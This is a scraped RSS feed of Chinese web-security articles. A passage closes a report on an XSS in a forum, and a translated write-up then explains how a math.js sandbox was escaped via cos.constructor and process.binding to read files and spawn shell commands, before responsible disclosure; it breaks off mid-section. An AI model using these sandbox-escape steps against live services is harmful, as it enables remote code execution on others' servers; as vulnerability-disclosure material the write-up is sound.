src="https://wechat2rss.xlab.app/img-proxy/?k=f113a295&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayyDq3bkmDpgJr8DRyicrOeoRibEQFTpIZmq9W8NlPb4juvJE29lFVry1vaHXM7Tpso9WH3u42ibykzTg%2F0%3Fwx_fmt%3Djpeg"/></p><p><img data-s="300,640" data-type="jpeg" data-w="1280" data-ratio="0.54296875" src="https://wechat2rss.xlab.app/img-proxy/?k=4cdac3a4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayyDq3bkmDpgJr8DRyicrOeoRhKFluchQstLZgwY0pIaTEY0pXia35qpYvDxEzM7Zw3HtR0bicSskiaicOw%2F0%3Fwx_fmt%3Djpeg"/></p><p><img data-s="300,640" data-type="jpeg" data-w="1280" data-ratio="0.44375" src="https://wechat2rss.xlab.app/img-proxy/?k=1f8cca80&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayyDq3bkmDpgJr8DRyicrOeoRqZpKzRjfv8ezzvvk0pVQHpiaQjgZUzIloBdRMWdD5KQzoBwicFtAgHYA%2F0%3Fwx_fmt%3Djpeg"/></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">好了，我们现在再把这个url发给雨神：</p><p><img data-s="300,640" data-type="jpeg" data-w="1280" data-ratio="0.60703125" src="https://wechat2rss.xlab.app/img-proxy/?k=cec99780&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayyDq3bkmDpgJr8DRyicrOeoRexSg3tPkiaiaaUOLxbt2LNfibZn5mbPLr98heqbzdMM0AqXD2oxFqYgSQ%2F0%3Fwx_fmt%3Djpeg"/></p><p><img data-s="300,640" data-type="jpeg" data-w="1280" data-ratio="0.5359375" src="https://wechat2rss.xlab.app/img-proxy/?k=717c7a36&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayyDq3bkmDpgJr8DRyicrOeoR1CXUL6ibnup2S7zREpQKIPp9LYgQbZ1Wiayib1qQ7u1LwBsUjfVtn9moQ%2F0%3Fwx_fmt%3Djpeg"/></p><p class="shifubrush"><span style=" color: rgb(51, 51, 51) ; ; ; ; ; ;  ; ">战果：</span></p><p class="shifubrush"><span style=" color: rgb(51, 51, 51) ; ; ; ; ; ;  ; "></span></p><p><img data-s="300,640" data-type="jpeg" data-w="1280" data-ratio="0.2625" src="https://wechat2rss.xlab.app/img-proxy/?k=60cbae22&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayyDq3bkmDpgJr8DRyicrOeoRPGft42Won5KhWVpDicSUqg62zNlaaiaMbZs14N67plNVYic1EYp7xRhwA%2F0%3Fwx_fmt%3Djpeg"/></p><p><br/></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">感谢phithon和lcy的1tubi，还有t00ls管理团队和雨神的10tubi。</p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; "><span style="background-color: rgb(255, 255, 255);"></span></p><h2 style=" box-sizing: border-box; margin-top: 1em; margin-bottom: 16px; line-height: 1.225; font-size: 1.75em;  font-weight: bold; padding-bottom: 0.3em; border-bottom: 1px solid rgb(238, 238, 238); color: rgb(51, 51, 51) ; ; ; ; ; ; ; "><span style="font-size: 24px;">实例：蠕虫</span></h2><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; "><span style="background-color: rgb(255, 255, 255);">不敢写，想想整个T00LS都弥漫着蠕虫的气息，我就觉得害怕。</span></p><h2 style=" box-sizing: border-box; margin-top: 1em; margin-bottom: 16px; line-height: 1.225; font-size: 1.75em;  font-weight: bold; padding-bottom: 0.3em; border-bottom: 1px solid rgb(238, 238, 238); color: rgb(51, 51, 51) ; ; ; ; ; ; ; "><span style="font-size: 24px;">漏洞修复及总结</span></h2><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; "><span style="background-color: rgb(255, 255, 255);">Markdown转换到html后，再进行一系列的过滤吧，html属性白名单什么的，也可以使用开源的项目，比如：<a href="http://htmlpurifier.org/" target="_blank">http://htmlpurifier.org/</a></span></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">其实拿到Discuz的formhash能做的事情很多很多…… 比如置顶帖子，修改版规，等等，如果是有后台权限的管理员触发，或许还可以模拟后台的一些操作，危害是挺大的。</p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">最后再次感谢phithon和lcy的1tubi，还有<span style="color: rgb(51, 51, 51);">t00ls管理团队和</span>雨神的10tubi。</p><p style=" box-sizing: border-box; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">抱拳了老铁。</p><p style=" box-sizing: border-box; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; "><br/></p><p style=" box-sizing: border-box; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; "><br/></p><p style=" box-sizing: border-box; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; "><strong><span style="color: rgb(0, 0, 0);">漏洞发现后已第一时间通知官方，截至发稿前，漏洞已修复。</span></strong></p><p style=" box-sizing: border-box; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; "><strong><span style="color: rgb(0, 0, 0);"><br/></span></strong></p><section label="Copyright Reserved by PLAYHUDONG." class="wihudong" donone="shifuMouseDownCard(&#39;shifu_c_034&#39;)" style="margin-top: 1em; margin-bottom: 1em; padding: 16px; font-size: 16px; white-space: normal; line-height: 25px; border-width: 1px; border-style: solid; border-color: rgb(204, 204, 204); color: rgb(127, 127, 127); background-color: rgb(254, 255, 225); border-radius: 4px; box-shadow: rgb(153, 153, 153) 0px 2px 8px;"><p class="wihudong">注：本文原创，转载请通过本公众号联系作者。</p></section><p style="white-space: normal;"><br/></p><p style="white-space: normal;">                                                                  </p><p><br/></p><section label="Copyright © 2015 playhudong All Rights Reserved." donone="shifuMouseDownStyle(&#39;shifu_p_042&#39;)" style="margin: 1em auto; white-space: normal; border-width: initial; border-style: none; border-color: initial; text-align: center; width: 18em;"><section style="padding: 0.3em; box-shadow: rgb(204, 204, 204) 0px 0px 2px 2px; overflow: hidden; background-color: rgb(255, 255, 255);"><section style="margin-bottom: 0.3em; overflow: hidden; float: left;"><section style="margin-right: 0.3em; width: 5.6em; height: 5.6em; overflow: hidden; float: left;"><img style="width: 5.6em;" title="http://7xo6kd.com1.z0.glb.clouddn.com/upload-ueditor-image-20170421-1492743089962011473.jpg" data-type="jpeg" data-ratio="1.0017953321364452" data-w="557" src="https://wechat2rss.xlab.app/img-proxy/?k=02cdb759&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayzpDm6UzmPFRITRj2XiadCYLWQ9YkIY3jMpvqlLVMa8tcNL4vx30AkCQgJkQJEGWYicPDfzLcD16nHQ%2F0%3Fwx_fmt%3Djpeg"/><p><img style="float: none;" title="http://7xo6kd.com1.z0.glb.clouddn.com/upload-ueditor-image-20170421-1492743066215020405.jpg" data-type="jpeg" data-ratio="1.0017953321364452" data-w="557" src="https://wechat2rss.xlab.app/img-proxy/?k=808eb15a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayzpDm6UzmPFRITRj2XiadCYLoiapkzGxUU9Rn8LNxibdV00yJhDxY8UQoRTTC3YgYYy3Kwib5r0DZ07zA%2F0%3Fwx_fmt%3Djpeg"/></p><p><img style="float: none;" title="http://7xo6kd.com1.z0.glb.clouddn.com/upload-ueditor-image-20170421-1492743066215047881.jpg" data-type="jpeg" data-ratio="1.0017953321364452" data-w="557" src="https://wechat2rss.xlab.app/img-proxy/?k=06d9e856&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayzpDm6UzmPFRITRj2XiadCYLs8lYeDR8g6DyJFibRwYJaTjxiaq7Faic94pOYjLQ3Gec8iaG6A4yTLBdUA%2F0%3Fwx_fmt%3Djpeg"/></p><p><img style="float: none;" title="http://7xo6kd.com1.z0.glb.clouddn.com/upload-ueditor-image-20170421-1492743066251045258.jpg" data-type="jpeg" data-ratio="1.0017953321364452" data-w="557" src="https://wechat2rss.xlab.app/img-proxy/?k=8544e05a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayzpDm6UzmPFRITRj2XiadCYLwBfwhsELeDHibLKgnadojSdol6Hbo7MicUDfsKR29QKtPHGMSNzonFgw%2F0%3Fwx_fmt%3Djpeg"/></p><p><img style="float: none;" title="http://7xo6kd.com1.z0.glb.clouddn.com/upload-ueditor-image-20170421-1492743066468036404.jpg" data-type="jpeg" data-ratio="1.0017953321364452" data-w="557" src="https://wechat2rss.xlab.app/img-proxy/?k=c31aa3d2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayzpDm6UzmPFRITRj2XiadCYLznIcF1jamhcFZgWHI32bMtm7FEmCxYbH97q6mtfhUMesw0FMibFCTIQ%2F0%3Fwx_fmt%3Djpeg"/></p><p><img style="float: none;" title="http://7xo6kd.com1.z0.glb.clouddn.com/upload-ueditor-image-20170421-1492743066515088239.jpg" data-type="jpeg" data-ratio="1.0017953321364452" data-w="557" src="https://wechat2rss.xlab.app/img-proxy/?k=02cdb759&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayzpDm6UzmPFRITRj2XiadCYLWQ9YkIY3jMpvqlLVMa8tcNL4vx30AkCQgJkQJEGWYicPDfzLcD16nHQ%2F0%3Fwx_fmt%3Djpeg"/></p><p><img style="float: none;" title="http://7xo6kd.com1.z0.glb.clouddn.com/upload-ueditor-image-20170421-1492743067268069413.jpg" data-type="jpeg" data-ratio="1.0017953321364452" data-w="557" src="https://wechat2rss.xlab.app/img-proxy/?k=90665ca3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayzpDm6UzmPFRITRj2XiadCYLXCtnXliaiajYMAZpydFxdibjUrwhzwtSen8Muyz1dCrAbojljbL83SICA%2F0%3Fwx_fmt%3Djpeg"/></p><p><img style="float: none;" title="http://7xo6kd.com1.z0.glb.clouddn.com/upload-ueditor-image-20170421-1492743066215047881.jpg" data-type="jpeg" data-ratio="1.0017953321364452" data-w="557" src="https://wechat2rss.xlab.app/img-proxy/?k=06d9e856&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayzpDm6UzmPFRITRj2XiadCYLs8lYeDR8g6DyJFibRwYJaTjxiaq7Faic94pOYjLQ3Gec8iaG6A4yTLBdUA%2F0%3Fwx_fmt%3Djpeg"/><br/></p></section><section style="margin-right: 0.3em; width: 5.6em; height: 5.6em; overflow: hidden; float: left;"><img style="width: 5.6em;" title="http://7xo6kd.com1.z0.glb.clouddn.com/upload-ueditor-image-20170421-1492743100674010091.jpg" data-type="jpeg" data-ratio="1.0017953321364452" data-w="557" src="https://wechat2rss.xlab.app/img-proxy/?k=8544e05a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayzpDm6UzmPFRITRj2XiadCYLwBfwhsELeDHibLKgnadojSdol6Hbo7MicUDfsKR29QKtPHGMSNzonFgw%2F0%3Fwx_fmt%3Djpeg"/></section><section style="width: 5.6em; height: 5.6em; overflow: hidden; float: left;"><img style="width: 5.6em;" title="http://7xo6kd.com1.z0.glb.clouddn.com/upload-ueditor-image-20170421-1492743111003026292.jpg" data-type="jpeg" data-ratio="1.0017953321364452" data-w="557" src="https://wechat2rss.xlab.app/img-proxy/?k=808eb15a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayzpDm6UzmPFRITRj2XiadCYLoiapkzGxUU9Rn8LNxibdV00yJhDxY8UQoRTTC3YgYYy3Kwib5r0DZ07zA%2F0%3Fwx_fmt%3Djpeg"/></section></section><section style="margin-bottom: 0.3em; overflow: hidden; float: left;"><section style="margin-right: 0.3em; width: 5.6em; height: 5.6em; overflow: hidden; float: left;"><img style="width: 5.6em;" title="http://7xo6kd.com1.z0.glb.clouddn.com/upload-ueditor-image-20170421-1492743124346099485.jpg" data-type="jpeg" data-ratio="1.0017953321364452" data-w="557" src="https://wechat2rss.xlab.app/img-proxy/?k=90665ca3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayzpDm6UzmPFRITRj2XiadCYLXCtnXliaiajYMAZpydFxdibjUrwhzwtSen8Muyz1dCrAbojljbL83SICA%2F0%3Fwx_fmt%3Djpeg"/></section><section style="margin-right: 0.3em; width: 5.6em; height: 5.6em; overflow: hidden; float: left;"><img style="width: 5.6em;" title="http://7xo6kd.com1.z0.glb.clouddn.com/upload-ueditor-image-20170421-1492744951068099280.jpg" data-type="jpeg" data-ratio="1.0017953321364452" data-w="557" src="https://wechat2rss.xlab.app/img-proxy/?k=77e5bcf7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayzpDm6UzmPFRITRj2XiadCYLyIIFyAicNg3AicZh0oiaX88Ioqzuccgf4YxZ0QibOMukL7icoSgibtDkicNJA%2F0%3Fwx_fmt%3Djpeg"/></section><section style="width: 5.6em; height: 5.6em; overflow: hidden; float: left;"><img style="width: 5.6em;" title="http://7xo6kd.com1.z0.glb.clouddn.com/upload-ueditor-image-20170421-1492743139721015523.jpg" data-type="jpeg" data-ratio="1.0017953321364452" data-w="557" src="https://wechat2rss.xlab.app/img-proxy/?k=06d9e856&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayzpDm6UzmPFRITRj2XiadCYLs8lYeDR8g6DyJFibRwYJaTjxiaq7Faic94pOYjLQ3Gec8iaG6A4yTLBdUA%2F0%3Fwx_fmt%3Djpeg"/></section></section><section style="overflow: hidden; float: left;"><section style="margin-right: 0.3em; width: 5.6em; height: 5.6em; overflow: hidden; float: left;"><img style="width: 5.6em;" title="http://7xo6kd.com1.z0.glb.clouddn.com/upload-ueditor-image-20170421-1492743167248014791.jpg" data-type="jpeg" data-ratio="1.0017953321364452" data-w="557" src="https://wechat2rss.xlab.app/img-proxy/?k=c31aa3d2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayzpDm6UzmPFRITRj2XiadCYLznIcF1jamhcFZgWHI32bMtm7FEmCxYbH97q6mtfhUMesw0FMibFCTIQ%2F0%3Fwx_fmt%3Djpeg"/></section><section style="margin-right: 0.3em; width: 5.6em; height: 5.6em; overflow: hidden; float: left;"><img style="width: 5.6em;" title="http://7xo6kd.com1.z0.glb.clouddn.com/upload-ueditor-image-20170421-1492743557310003500.jpg" data-type="jpeg" data-ratio="1.0017953321364452" data-w="557" src="https://wechat2rss.xlab.app/img-proxy/?k=457c1a47&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayzpDm6UzmPFRITRj2XiadCYLgEWCkbqAIgDcfP7Uq85u4DiaiaXh3T1LkRfmXEh3OT2yFTxgX8QYTk3A%2F0%3Fwx_fmt%3Djpeg"/></section><section style="width: 5.6em; height: 5.6em; overflow: hidden; float: left;"><img style="width: 5.6em;" title="http://7xo6kd.com1.z0.glb.clouddn.com/upload-ueditor-image-20170421-1492743588234025368.jpg" data-type="jpeg" data-ratio="1.0017953321364452" data-w="557" src="https://wechat2rss.xlab.app/img-proxy/?k=6c92903f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayzpDm6UzmPFRITRj2XiadCYLkzdnEfm9JX9KUE0MwMelehpsiblKzbj0IVNFxXq22pXkibH3BYvBhtnA%2F0%3Fwx_fmt%3Djpeg"/></section></section></section></section><p style="white-space: normal;"><br/></p><p><br/></p><section label="Copyright © 2016 playhudong All Rights Reserved." donone="shifuMouseDownPayStyle(&#39;shifu_sig_022&#39;)" style="margin-right: auto; margin-left: auto; white-space: normal; border-width: initial; border-style: none; border-color: initial; width: 20em;"><section class="xhr" style="padding: 0.8em 0em; width: 320px; background: rgb(240, 240, 240); overflow: hidden;"><section style="margin-right: auto; margin-left: auto; width: 256px;"><section style="padding-bottom: 0.5em; width: 256px; text-align: center; border-bottom: 1px solid rgb(221, 221, 221); font-size: 1.2em;"><p>安全&amp;前端</p></section><section style="padding-top: 0.5em; width: 256px; text-align: center;"><section style="margin-right: 1em; width: 102.391px; display: inline-block; vertical-align: top;"><img style="width: 102.391px;" title="http://7xo6kd.com1.z0.glb.clouddn.com/upload-ueditor-image-20170114-1484360660123013420.jpg" data-type="jpeg" data-ratio="1" data-w="258" src="https://wechat2rss.xlab.app/img-proxy/?k=1ff8e300&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BaywYFn3ghvGRhheiaUZHtvhjdt4npURMpgHusiaNaKz0ckNRKYb0zBxtlZ2OHQzVQ5vtrH4vycz2dn6w%2F0%3Fwx_fmt%3Djpeg"/></section><section style="padding: 1em 0em 3em; width: 102.391px; display: inline-block; vertical-align: top; background-image: url(&#34;http://mmbiz.qpic.cn/mmbiz_png/zoq1kN9BaywYFn3ghvGRhheiaUZHtvhjda881dIetibclJpFgiaW75eibKGgW8bcIZPeIruFia1HdGSRP0RE1D0Bu6Q/0?wx_fmt=png&#34;); background-repeat: no-repeat; background-size: 100%; color: rgb(114, 114, 114); font-size: 1em; line-height: 1.4em;"><p>长按二维码<br/>关注我们</p></section></section></section></section></section><p><br/></p>



<p><a href="2247483901">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=09954d76&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIxMDA4NzAyMQ%3D%3D%26mid%3D2247483901%26idx%3D1%26sn%3De08fa808ef3106ca19f8f4dde0cb0a2a%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 26 Jun 2017 08:57:00 +0800</pubDate>
    </item>
    <item>
      <title>我们是如何发现并利用math.js中的远程代码执行漏洞的</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIxMDA4NzAyMQ==&amp;mid=2247483875&amp;idx=1&amp;sn=19c03a096dafe95244b31dd5bbd3015e</link>
      <description>快看~~ js也能报洞了~~</description>
      <content:encoded><![CDATA[<p>
原创 <span>[译]Jess_喵</span> <span>2017-04-22 19:21</span> <span style="display: inline-block;"></span>
</p>

<p>快看~~ js也能报洞了~~</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=3d39ba9d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayxAxdfYjfkibRl0QZbD8ITrL8OnibqkdePL1GOyvFPag8Dh5ibvibCP052DbvWM2h3A7GW8dTmeCqWOnw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section label="Copyright © 2014 playhudong All Rights Reserved." donone="shifuMouseDownOther(&#39;shifu_o_015&#39;)" style="margin-top: 5px; padding: 10px; white-space: normal; border-width: initial; border-style: none; border-color: initial; background-image: none; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial;"><section style="margin-top: -1px; min-height: 40px; visibility: visible; height: 40px; line-height: 40px; border-radius: 4px; text-align: center; box-shadow: rgb(190, 190, 190) 0px 3px 5px; background: rgb(238, 239, 239);"><span style="font-size: 14px; color: rgb(110, 109, 109);"><span style="margin-left: 35px; color: rgb(110, 109, 109); text-align: center;  background-color: rgb(238, 239, 239); float: left; font-size: 24px;">↗</span>点击上方<span style="color: rgb(96, 127, 166);">“Web安全与前端”</span>关注我们</span></section><p><br/></p></section><p>本文简要介绍了如何发现，利用和报告远程代码执行（RCE）漏洞。也就是说这是一个发现漏洞，并负责任的报告它们的指南。</p><p><br/></p><section label="Copyright Reserved by PLAYHUDONG." donone="shifuMouseDown(&#39;shifu_t_015&#39;)" style="white-space: normal; border-top: none; border-right: none; border-bottom: none; margin-top: 5px; padding: 10px; font-size: 14px; line-height: 25px; font-family: arial, helvetica, sans-serif; text-shadow: rgb(34, 95, 135) 0px 1px 0px; color: rgb(255, 255, 255); border-radius: 4px; box-shadow: rgb(153, 153, 153) 2px 2px 4px; border-left: 10px solid rgb(253, 208, 0); background-color: rgb(55, 57, 57);">第一步：发现</section><p><br/></p><p>在使用封装了math.js API的工具时（<a href="http://api.mathjs.org/v1/?expr=expression-here），我们发现了它似乎可以执行javascritp代码，尽管有一些限制：" target="_blank">http://api.mathjs.org/v1/?expr=expression-here），我们发现了它似乎可以执行javascritp代码，尽管有一些限制：</a></p><p><span style="font-size: 19px;font-family: DengXian"></span></p><p><img data-s="300,640" data-type="png" data-w="1492" data-ratio="0.47989276139410186" src="https://wechat2rss.xlab.app/img-proxy/?k=108a5a4a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BayxAxdfYjfkibRl0QZbD8ITrLZ8PheJLwlIkVtxTibIib8Iez8x3JoaITuogSzwltQPibCF3fm6zo6r5kw%2F0%3Fwx_fmt%3Dpng"/></p><p>特别要说的是， eval被替代为了一个安全版本。Function和setTimeout/ setInterval也不能使用：</p><p><span style="font-size: 19px;font-family: DengXian"></span></p><p><img data-s="300,640" data-type="png" data-w="1502" data-ratio="0.17177097203728361" src="https://wechat2rss.xlab.app/img-proxy/?k=9efe214d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BayxAxdfYjfkibRl0QZbD8ITrLkibljogKumxeMkOkIg69OEMWZXK4YgwMj5QZtzBdNjEs4EJkicqQicNrg%2F0%3Fwx_fmt%3Dpng"/></p><p><br/></p><section label="Copyright Reserved by PLAYHUDONG." donone="shifuMouseDown(&#39;shifu_t_015&#39;)" style="white-space: normal; border-top: none; border-right: none; border-bottom: none; margin-top: 5px; padding: 10px; font-size: 14px; line-height: 25px; font-family: arial, helvetica, sans-serif; text-shadow: rgb(34, 95, 135) 0px 1px 0px; color: rgb(255, 255, 255); border-radius: 4px; box-shadow: rgb(153, 153, 153) 2px 2px 4px; border-left: 10px solid rgb(253, 208, 0); background-color: rgb(55, 57, 57);">第二步：利用</section><p><br/></p><p>现在我们发现代码执行有一些限制，我们得绕过他们。</p><p><span style="text-decoration: none;">有四种标准方法来执行JavaScript中的字符串：</span></p><ul type="disc" class=" list-paddingleft-2"><li><p><a style="color: rgb(0, 0, 0); text-decoration: none;"><span style="color: rgb(0, 0, 0);">eval(&#34;code&#34;)</span></a></p></li><li><p><a style="color: rgb(0, 0, 0); text-decoration: none;"><span style="color: rgb(0, 0, 0);">new Function(&#34;code&#34;)</span></a></p></li><li><p><a style="color: rgb(0, 0, 0); text-decoration: none;"><span style="color: rgb(0, 0, 0);">setTimeout(&#34;code&#34;,     timeout)</span></a></p></li><li><p><a style="color: rgb(0, 0, 0); text-decoration: none;"><span style="color: rgb(0, 0, 0);">setInterval(&#34;code&#34;,     interval)</span></a></p></li></ul><p><span style="text-decoration: none;">在math.js环境中，这些不能直接访问，</span>因为它们没有被定义，或者被安全函数重新定义了。但是，它们可以间接访问：特别是Function可以作为现有函数的构造函数间接访问 - 这是导致发现漏洞的关键。</p><p>例如，Function(&#34;return 1&#34;)可以替换为Math.floor.constructor(&#34;return1&#34;)。所以要执行return 1，我们可以用Math.floor.constructor(&#34;return1&#34;)()。</p><p>我们知道在math.js环境下cos是一个函数，所以我们使用：</p><p><br/></p><pre>&gt; !calc cos.constructor(&#34;return 1&#34;)()</pre><pre>Result: 1</pre><p><br/></p><p>成功！</p><p>这样我们就可以简单的require一些本地模块，并获得对操作系统的访问权限，是吗？不，并没有那么快：尽管math.jsAPI服务器在Node.js环境中运行，我们却无法使用require。</p><p><br/></p><pre>&gt; !calc cos.constructor(&#34;return require&#34;)()</pre><pre>Error: require is not defined</pre><p><br/></p><p>但是，我们可以使用process，<span style="text-decoration: none;">它有</span><a style="color: rgb(0, 0, 0); text-decoration: none;"><span style="color: rgb(0, 0, 0);">一些很赞的功能</span></a><span style="color: rgb(0, 0, 0); text-decoration: none;">：</span></p><p><br/></p><p><img data-s="300,640" data-type="png" data-w="2702" data-ratio="0.4167283493708364" src="https://wechat2rss.xlab.app/img-proxy/?k=f07c46ba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BayxAxdfYjfkibRl0QZbD8ITrLPQtFZRBibibMRYN80kucey2SbJricTNQOJs6Md4A50ROyianbxJ3GjU4kA%2F0%3Fwx_fmt%3Dpng"/></p><p>虽然<span style="color: rgb(0, 0, 0); text-decoration: none;">process.env包含了丰富的信息，但它不能真正做任何有趣的事情：我们需要更深入，使用</span><a style="color: rgb(0, 0, 0); text-decoration: none;"><span style="color: rgb(0, 0, 0);">process.binding</span></a><span style="color: rgb(0, 0, 0); text-decoration: none;">，它让Javascript绑定到操作系统。虽然他们没有官方文档，并且在内部</span>使用，但可以通过阅读Node.js源代码来重构其行为。例如，我们可以使用process.binding(&#34;fs&#34;)在操作系统上读取任意文件（在适当的权限下）：</p><p>为了简洁起见，我们将跳过!calc cos.constructor(&#34;code&#34;)包装器，并粘贴相关的JS代码。</p><p><br/></p><p><img data-s="300,640" data-type="png" data-w="2774" data-ratio="0.1110310021629416" src="https://wechat2rss.xlab.app/img-proxy/?k=bdf06554&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BayxAxdfYjfkibRl0QZbD8ITrLGJYBb8TCQEwTLsffxVqbA2C7vVb85M5icT5kmuK6icA1s3DHSZzR6few%2F0%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="text-decoration: none; color: rgb(0, 0, 0);">我们马上</span><span style="color: rgb(0, 0, 0); text-decoration: none;">就要完成了：现在我们需要找出一种打开shell并运行任意命令的方法。如果您有Node.js的经验，您可能知道</span><a style="color: rgb(0, 0, 0); text-decoration: none;"><span style="color: rgb(0, 0, 0);">child_process</span></a><span style="color: rgb(0, 0, 0); text-decoration: none;">，它们可以通过spawnSync生成进程：我们只需要使用操作系统绑定来复制此功能（请记住，我们无法使用require）。</span></p><p><br/></p><p><span style="color: rgb(0, 0, 0); text-decoration: none;">这比看起来简单：您可以直接</span><a style="color: rgb(0, 0, 0); text-decoration: none;"><span style="color: rgb(0, 0, 0);">使用child_process</span></a><span style="color: rgb(0, 0, 0); text-decoration: none;">源代码，删除不需要的代码（未使用的函数和错误处理），将其减小并通过API运行。</span></p><p><img data-s="300,640" data-type="png" data-w="1802" data-ratio="0.4261931187569367" src="https://wechat2rss.xlab.app/img-proxy/?k=c93786f2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BayxAxdfYjfkibRl0QZbD8ITrLM11dbbo3GFf8aP512UafWfuuibTic6KNphjJenIia0lepdlAfK1QOPhCg%2F0%3Fwx_fmt%3Dpng"/></p><p>这样，我们可以生成任意进程并运行shell命令：</p><p><img data-s="300,640" data-type="png" data-w="1236" data-ratio="0.3656957928802589" src="https://wechat2rss.xlab.app/img-proxy/?k=07cde5dc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BayxAxdfYjfkibRl0QZbD8ITrL3pHcPzUEc04xo3PRyH6ogjFP97eRoHQSWWQicb8FkHxF8yeNiaI4rmnw%2F0%3Fwx_fmt%3Dpng"/></p><section label="Copyright Reserved by PLAYHUDONG." donone="shifuMouseDown(&#39;shifu_t_015&#39;)" style="white-space: normal; border-top: none; border-right: none; border-bottom: none; margin-top: 5px; padding: 10px; font-size: 14px; line-height: 25px; font-family: arial, helvetica, sans-serif; text-shadow: rgb(34, 95, 135) 0px 1px 0px; color: rgb(255, 255, 255); border-radius: 4px; box-shadow: rgb(153, 153, 153) 2px 2px 4px; border-left: 10px solid rgb(253, 208, 0); background-color: rgb(55, 57, 57);">第三步：报告</section><p><span style="font-size: 19px;font-family: DengXian"></span></p><p><br/></p><p>现在我们发现了一个漏洞，并最大化的利用了它，我们需要决定如何处理它。因为我们是利用它找一些乐趣，并没有恶意的意图，那么就走把它报告给维护者并成为“白帽子”的这条路。我们通过维护者GitHub上的个人资料上的电子邮件地址联系了他，邮件细节如下：</p><p><br/></p><ul type="disc" class=" list-paddingleft-2"><li><p>漏洞的简短描述（mathjs.eval中的远程代码执行漏洞）;</p></li><li><p>一个攻击实例，演示它是如何工作的（总结为什么cos.constructor(&#34;code&#34;)<span style="color: rgb(0, 0, 0); text-decoration: none;">()可以执行和通过process.bindings可以执行什么）;</span></p></li><li><p><span style="color: rgb(0, 0, 0); text-decoration: none;">在可用服务器上的演示（我们演示了输出whoami和uname -a）;</span></p></li><li><p><span style="color: rgb(0, 0, 0); text-decoration: none;">如何修复的建议（例如</span><a style="color: rgb(0, 0, 0); text-decoration: none;"><span style="color: rgb(0, 0, 0);">在Node.js</span></a><span style="color: rgb(0, 0, 0); text-decoration: none;">中使用vm</span><a style="color: rgb(0, 0, 0); 